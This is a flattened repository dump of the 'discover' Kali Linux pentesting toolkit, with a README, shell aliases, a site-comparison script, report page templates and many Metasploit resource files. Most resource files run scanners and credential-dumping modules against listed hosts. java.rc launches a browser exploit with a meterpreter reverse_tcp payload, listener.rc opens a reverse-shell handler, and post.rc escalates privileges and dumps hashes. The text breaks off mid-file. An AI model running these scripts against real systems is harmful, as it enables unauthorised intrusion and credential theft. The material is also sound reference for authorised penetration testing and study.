| THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | 29 | 30 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/README.md: -------------------------------------------------------------------------------- 1 | For use with Kali Linux. Custom bash scripts used to automate various pentesting tasks. 2 | 3 | # Licence 4 | 5 | This project is licensed under the ```BSD 3-clause “New” or “Revised” License```. For more information please see the licence file 6 | 7 | ### Download, setup & usage 8 | * git clone git://github.com/leebaird/discover.git /opt/discover/ 9 | * All scripts must be ran from this location. 10 | * cd /opt/discover/ 11 | * ./setup.sh 12 | * ./discover.sh 13 | 14 | ``` 15 | RECON 16 | 1. Domain 17 | 2. Person 18 | 3. Parse salesforce 19 | 20 | SCANNING 21 | 4. Generate target list 22 | 5. CIDR 23 | 6. List 24 | 7. IP or domain 25 | 26 | WEB 27 | 8. Open multiple tabs in Iceweasel 28 | 9. Nikto 29 | 10. SSL 30 | 31 | MISC 32 | 11. Crack WiFi 33 | 12. Parse XML 34 | 13. Start a Metasploit listener 35 | 14. Update 36 | 15. Exit 37 | ``` 38 | ## RECON 39 | ### Domain 40 | ``` 41 | RECON 42 | 43 | 1. Passive 44 | 2. Active 45 | 3. Previous menu 46 | ``` 47 | 48 | * Passive combines goofile, goog-mail, goohost, theHarvester, Metasploit, dnsrecon, URLCrazy, Whois and multiple webistes. 49 | * Active combines Nmap, dnsrecon, Fierce, lbd, WAF00W, traceroute and Whatweb. 50 | 51 | ### Person 52 | ``` 53 | RECON 54 | 55 | First name: 56 | Last name: 57 | ``` 58 | 59 | * Combines info from multiple websites. 60 | 61 | ### Parse salesforce 62 | ``` 63 | Create a free account at salesforce (https://connect.data.com/login). 64 | Perform a search on your target company > select the company name > see all. 65 | Copy the results into a new file. 66 | 67 | Enter the location of your list: 68 | ``` 69 | 70 | * Gather names and positions into a clean list. 71 | 72 | ## SCANNING 73 | ### Generate target list 74 | ``` 75 | SCANNING 76 | 77 | 1. Local area network 78 | 2. NetBIOS 79 | 3. netdiscover 80 | 4. Ping sweep 81 | 5. Previous menu 82 | ``` 83 | 84 | * Use different tools to create a target list including Angry IP Scanner, arp-scan, netdiscover and nmap pingsweep. 85 | 86 | ### CIDR, List, IP or domain 87 | ``` 88 | Type of scan: 89 | 90 | 1. External 91 | 2. Internal 92 | 3. Previous menu 93 | ``` 94 | 95 | * External scan will set the nmap source port to 53 and the max-rrt-timeout to 1500ms. 96 | * Internal scan will set the nmap source port to 88 and the max-rrt-timeout to 500ms. 97 | * Nmap is used to perform host discovery, port scanning, service enumeration and OS identification. 98 | * Matching nmap scripts are used for additional enumeration. 99 | * Matching Metasploit auxiliary modules are also leveraged. 100 | 101 | ## WEB 102 | ### Open multiple tabs in Iceweasel 103 | ``` 104 | Open multiple tabs in Iceweasel with: 105 | 106 | 1. List 107 | 2. Directories from a domain's robot.txt. 108 | 3. Previous menu 109 | ``` 110 | 111 | * Use a list containing IPs and/or URLs. 112 | * Use wget to pull a domain's robot.txt file, then open all of the directories. 113 | 114 | ### Nikto 115 | ``` 116 | Run multiple instances of Nikto in parallel. 117 | 118 | 1. List of IPs. 119 | 2. List of IP:port. 120 | 3. Previous menu 121 | ``` 122 | ### SSL 123 | ``` 124 | Check for SSL certificate issues. 125 | 126 | Enter the location of your list: 127 | ``` 128 | 129 | * Use sslscan and sslyze to check for SSL/TLS certificate issues. 130 | 131 | 132 | ## MISC 133 | ### Crack WiFi 134 | 135 | * Crack wireless networks. 136 | 137 | ### Parse XML 138 | ``` 139 | Parse XML to CSV. 140 | 141 | 1. Burp (Base64) 142 | 2. Nessus 143 | 3. Nexpose 144 | 4. Nmap 145 | 5. Qualys 146 | 6. Previous menu 147 | ``` 148 | 149 | ### Start a Metasploit listener 150 | 151 | * Setup a multi/handler with a windows/meterpreter/reverse_tcp payload on port 443. 152 | 153 | 154 | ### Update 155 | 156 | * Use to update Kali Linux, Discover scripts, various tools and the locate database. 157 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/alias: -------------------------------------------------------------------------------- 1 | # To enable these aliases or when you modify this file: 2 | # cp /opt/discover/alias /root/.bash_aliases ; source /root/.bash_aliases 3 | 4 | dns=$(grep 'nameserver' /etc/resolv.conf | awk '{print $2}') 5 | interface=$(ifconfig | grep -B1 'inet addr' | egrep -v '(-|inet addr|Loopback)' | cut -d ' ' -f1) 6 | ip=$(ifconfig | grep 'Bcast' | awk '{print$2}' | cut -d ':' -f2) 7 | mac=$(ifconfig | grep -B1 'inet addr' | egrep -v '(-|inet addr|Loopback)' | awk '{print$5}') 8 | 9 | alias c='clear' 10 | alias cl='clear ; ls -l' 11 | alias d='cd /root/Desktop/ ; clear' 12 | alias e='exit' 13 | alias i='echo ; echo ; echo "DNS " $dns ; echo ; ifconfig ; ping google.com -c3 ; echo ; echo' 14 | alias l='ls -l' 15 | alias n='echo ; netstat -antup | egrep -v "Active" ; echo ; 16 | echo -n "Interface: "$interface ; echo ; 17 | echo -n "MAC address: "$mac ; echo ; 18 | echo -n "Internal IP: "$ip ; echo ; 19 | echo -n "External IP: " ; curl ifconfig.me ; echo' 20 | alias r='cd /root/ ; clear' 21 | alias s='cd /opt/discover/ ; clear' 22 | 23 | alias nexpose='service postgresql stop ; cd /opt/rapid7/nexpose/nsc ; ./nsc.sh' 24 | 25 | alias sip='sort -V' 26 | 27 | alias update='/opt/discover/update.sh' 28 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/misc/compare-sites.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | 5 | break="==================================================" 6 | DIR=/root/Desktop/compare-sites 7 | DIFFONLY=false 8 | 9 | usage(){ 10 | echo 11 | echo 12 | echo "Compare changes to home pages." 13 | echo 14 | echo 15 | echo "Where file contains a list of URLs to be compared." 16 | echo "Usage: $0 [options] file" 17 | echo 18 | echo "Options:" 19 | echo " -c Compare versions." 20 | echo " -o Output directory. Default: /root/Desktop/compare-sites" 21 | echo 22 | echo 23 | } 24 | 25 | ts2date(){ 26 | date -d "1970-01-01 $1 sec" 27 | } 28 | 29 | while getopts "o:c" OPTION; do 30 | case $OPTION in 31 | o) DIR="$OPTARG";; 32 | c) DIFFONLY=true;; 33 | *) echo && echo && exit;; 34 | esac 35 | done 36 | 37 | shift $(($OPTIND - 1)) 38 | FILE=$* 39 | 40 | if [ -z $FILE ]; then 41 | usage 42 | exit 43 | fi 44 | 45 | if [ ! -f $FILE ]; then 46 | echo 47 | echo 48 | echo "File does not exist." 49 | echo 50 | echo 51 | exit 52 | fi 53 | 54 | if [ ! -d $DIR ]; then 55 | mkdir $DIR 56 | fi 57 | 58 | FILEHASH=${FILEHASH%%$FILE} # remove input file name from hash string (sha256sum) 59 | HDIR="$DIR/$FILEHASH" 60 | VERSION=1 61 | 62 | while [ -f $HDIR/$VERSION ]; do 63 | VERSION=$(($VERSION + 1)) 64 | done 65 | 66 | if ! $DIFFONLY; then 67 | date +%s > $HDIR/$VERSION 68 | echo 69 | echo 70 | echo "Downloading:" 71 | 72 | for URL in $(cat $FILE); do 73 | HASH=$(sha256sum <<<$URL | tr -d " -") 74 | echo "[*] $URL" 75 | wget -q $URL -O $HDIR/$URL-$HASH-$VERSION 76 | done 77 | 78 | echo 79 | echo $break 80 | else 81 | VERSION=$(($VERSION - 1)) 82 | fi 83 | 84 | if [ $VERSION -gt 1 ]; then 85 | echo 86 | echo "Versions:" 87 | 88 | for ((i=1; i<=${VERSION}; i++)); do 89 | echo $i - $(ts2date $(cat $HDIR/$i)) 90 | done 91 | 92 | echo 93 | echo -n "Base version: " 94 | read A 95 | echo -n "Compare with: " 96 | read B 97 | 98 | [ -z $A ] && A="1"; 99 | [ -z $B ] && B=$VERSION 100 | 101 | for URL in $(cat $FILE); do 102 | echo 103 | echo $break 104 | echo 105 | echo -e "\e[1;34m$URL\e[0m" 106 | HASH=$(sha256sum <<<$URL | tr -d " -") 107 | diff $HDIR/$URL-$HASH-$A $HDIR/$URL-$HASH-$B | grep ' 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/black-listed.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

DNS: Black Listed

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/config.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

DNS: Config

80 |
81 |
82 |
83 | 84 |
85 | 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/doc.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Files: Word

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/emails.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Contacts: Emails

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/hosts.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Hosts

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/loadbalancing.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Loadbalancing

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/names.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 72 |
73 |
74 | 75 |
76 | 77 |
78 |
79 |
80 |

Contacts: Names

81 | 82 |
83 |
84 |
85 | 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/netcraft.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Netcraft

80 |
81 |
82 |
83 | 84 |
85 |
86 |
87 | 88 | 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/passive-recon.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Reports: Passive Recon

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/pdf.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Files: PDF

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/ppt.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Files: PowerPoint

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/records.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

DNS: Records

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/squatting.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Squatting

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/subdomains.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

DNS: Subdomains

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/traceroute.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Traceroute

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/txt.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Files: Text

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/waf.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Web App FW

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/whatweb.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Web: Whatweb

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/whois-domain.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Whois Domain

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/whois-ip.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Domain: Whois IP

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/xls.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

Files: Excel

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/report/pages/zonetransfer.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Reporting Framework 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 |
17 | 71 |
72 |
73 | 74 |
75 | 76 |
77 |
78 |
79 |

DNS: Zone Transfer

80 | 81 |
82 |
83 |
84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/adobe.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8400 4 | 5 | use auxiliary/scanner/http/adobe_xml_inject 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/afp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 548 4 | 5 | use auxiliary/scanner/afp/afp_server_info 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/backdoor.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 7777 4 | 5 | use auxiliary/scanner/backdoor/energizer_duo_detect 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/chargen.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 19 4 | 5 | use auxiliary/scanner/chargen/chargen_probe 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/citrix.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1604 4 | 5 | use gather/citrix_published_applications 6 | run 7 | 8 | use gather/citrix_published_bruteforce 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/couchdb.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5984 4 | 5 | use auxiliary/scanner/couchdb/couchdb_login 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/db2-2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 50000 4 | 5 | use auxiliary/scanner/db2/db2_version 6 | run 7 | 8 | use auxiliary/scanner/db2/db2_auth 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/db2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 523 4 | 5 | use auxiliary/scanner/db2/discovery 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/dcerpc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 135 4 | 5 | use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/dcerpc2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5040 4 | 5 | use auxiliary/scanner/dcerpc/windows_deployment_services 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/emc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3000 4 | 5 | use auxiliary/admin/emc/alphastor_devicemanager 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/emc2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3500 4 | 5 | use auxiliary/admin/emc/alphastor_librarymanager 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/finger.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 79 4 | 5 | use auxiliary/scanner/finger/finger_users 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/ftp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 21 4 | 5 | use auxiliary/scanner/ftp/ftp_version 6 | run 7 | 8 | use auxiliary/scanner/ftp/anonymous 9 | run 10 | 11 | use auxiliary/scanner/ftp/titanftp_xcrc_traversal 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/h323.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1720 4 | 5 | use auxiliary/scanner/h323/h323_version 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/http.rc: -------------------------------------------------------------------------------- 1 | setg DOMAIN 2 | setg HTTPBL_APIKEY 3 | setg PATH_SAVE /root 4 | setg RANGE 5 | setg RHOST 6 | setg RHOSTS 7 | setg SQLMAP_PATH /pentest/database/sqlmap 8 | setg THREADS 255 9 | setg VULNCSV 10 | 11 | ipidseq # from ip 12 | 13 | lotus_domino_hashes # from lotus 14 | lotus_domino_login # from lotus 15 | lotus_domino_version # from lotus 16 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/imap.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 143 4 | 5 | use auxiliary/scanner/imap/imap_version 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/ipmi.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 623 4 | 5 | use auxiliary/scanner/ipmi/ipmi_cipher_zero 6 | run 7 | 8 | use auxiliary/scanner/ipmi/ipmi_version 9 | run 10 | 11 | use auxiliary/scanner/ipmi/ipmi_dumphashes 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/lotus.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 80 4 | 5 | use auxiliary/scanner/lotus/lotus_domino_hashes 6 | run 7 | 8 | use auxiliary/scanner/lotus/lotus_domino_version 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/misc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5920 4 | 5 | use auxiliary/scanner/misc/cctv_dvr_login 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/misc/java.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/browser/java_jre17_jmxbean 2 | set SRVPORT 443 3 | set URIPATH / 4 | set PAYLOAD java/meterpreter/reverse_tcp 5 | set LHOST 6 | set LPORT 443 7 | set InitialAutoRunScript migrate -f 8 | exploit 9 | set AutoRunScript /opt/scripts/resource/post.rc 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/misc/listener.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set PAYLOAD windows/meterpreter/reverse_tcp 3 | set LHOST # 4 | set LPORT 443 5 | set ExitOnSession false 6 | set InitialAutoRunScript migrate -f 7 | 8 | 9 | sleep(3) 10 | 11 | 12 | exploit -j 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/misc/post.rc: -------------------------------------------------------------------------------- 1 | getsystem 2 | sysinfo 3 | hasdump 4 | 5 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/motorola.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 407 4 | 5 | use auxiliary/scanner/motorola/timbuktu_udp 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/mssql.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1433 4 | 5 | use scanner/mssql/mssql_ping 6 | run 7 | 8 | use scanner/mssql/mssql_login 9 | run 10 | 11 | use scanner/mssql/mssql_hashdump 12 | run 13 | 14 | use scanner/mssql/mssql_schemadump 15 | run 16 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/mysql.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3306 4 | 5 | use auxiliary/scanner/mysql/mysql_version 6 | run 7 | 8 | use scanner/mysql/mysql_authbypass_hashdump 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/nessus.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8834 4 | 5 | use auxiliary/scanner/nessus/nessus_xmlrpc_ping 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/netbios.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 137 4 | 5 | use auxiliary/scanner/netbios/nbname 6 | run 7 | 8 | use auxiliary/scanner/netbios/nbname_probe 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/nfs.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 111 4 | 5 | use auxiliary/scanner/misc/sunrpc_portmapper 6 | run 7 | 8 | use auxiliary/scanner/nfs/nfsmount 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/ntp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 123 4 | 5 | use auxiliary/scanner/ntp/ntp_monlist 6 | run 7 | 8 | use auxiliary/scanner/ntp/ntp_readvar 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/oracle.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1158 4 | 5 | use auxiliary/scanner/oracle/emc_sid 6 | run 7 | 8 | use auxiliary/scanner/oracle/spy_sid 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/oracle2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5560 4 | 5 | use auxiliary/scanner/oracle/isqlplus_login 6 | run 7 | 8 | use auxiliary/scanner/oracle/isqlplus_sidbrute 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/oracle3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1521 4 | 5 | use auxiliary/scanner/oracle/oracle_hashdump 6 | run 7 | 8 | use auxiliary/scanner/oracle/oracle_login 9 | run 10 | 11 | use auxiliary/scanner/oracle/sid_brute 12 | run 13 | 14 | use auxiliary/scanner/oracle/sid_enum 15 | run 16 | 17 | use auxiliary/scanner/oracle/tnslsnr_version 18 | run 19 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/oracle4.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8080 4 | 5 | use auxiliary/scanner/oracle/xdb_sid_brute 6 | run 7 | 8 | use auxiliary/scanner/oracle/xdb_sid 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/pcanywhere.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5631 4 | 5 | use auxiliary/scanner/pcanywhere/pcanywhere_tcp 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/pcanywhere2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5632 4 | 5 